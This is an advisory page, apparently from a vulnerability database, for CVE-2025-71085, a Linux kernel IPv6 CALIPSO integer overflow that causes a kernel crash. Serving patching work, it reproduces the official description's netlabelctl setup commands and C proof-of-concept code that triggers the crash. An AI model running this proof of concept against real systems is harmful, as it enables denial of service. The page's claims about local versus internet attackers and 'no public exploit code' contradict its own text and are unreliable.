CVE-2025-71085 ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

High 7.5 Published Updated

A local attacker can cause a kernel crash via integer overflow in IPv6 Calipso handling, requiring specific netlabel configuration.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is CVE-2025-71085?

CVE-2025-71085 is a high-severity vulnerability in Linux kernel, published on 13 Jan 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using `netlabelctl` tool:

netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;

// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;

// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

sendmsg(fd, &msg, 0);

Weakness: CWE-617, CWE-190

Which versions are affected by CVE-2025-71085?

It affects 1 product.

Linux distribution packages (40)
bpftool Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
bpftool-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-abi-stablelists Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-core Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-core Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-devel Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-modules Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-modules-extra Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debuginfo-common-ppc64le Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debuginfo-common-x86_64 Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-devel Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-doc Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-modules Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-modules-extra Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-tools Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-tools-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-tools-libs Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
perf Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
perf-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
python3-perf Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
python3-perf-debuginfo Red Hat:rhel_e4s:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
bpftool Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
bpftool-debuginfo Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-abi-stablelists Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-core Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-core Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-debuginfo Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-devel Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-modules Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debug-modules-extra Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debuginfo Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-debuginfo-common-x86_64 Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-devel Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8
kernel-doc Red Hat:rhel_tus:8.8::baseosAll versions0:4.18.0-477.133.1.el8_8

Products include Linux kernel.

How do I fix CVE-2025-71085?

Apply the vendor's patch.

Is CVE-2025-71085 being exploited?

There is no known exploitation of CVE-2025-71085 in the wild and no public exploit code.

All Linux kernel vulnerabilities

Sources

Also known as BELL-CVE-2025-71085, DEBIAN-CVE-2025-71085, GHSA-hjpx-f2r6-rr4q, RHSA-2026:5689, ROOT-OS-DEBIAN-11-CVE-2025-71085, ROOT-OS-DEBIAN-12-CVE-2025-71085 and 4 more.

Is CVE-2025-71085 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free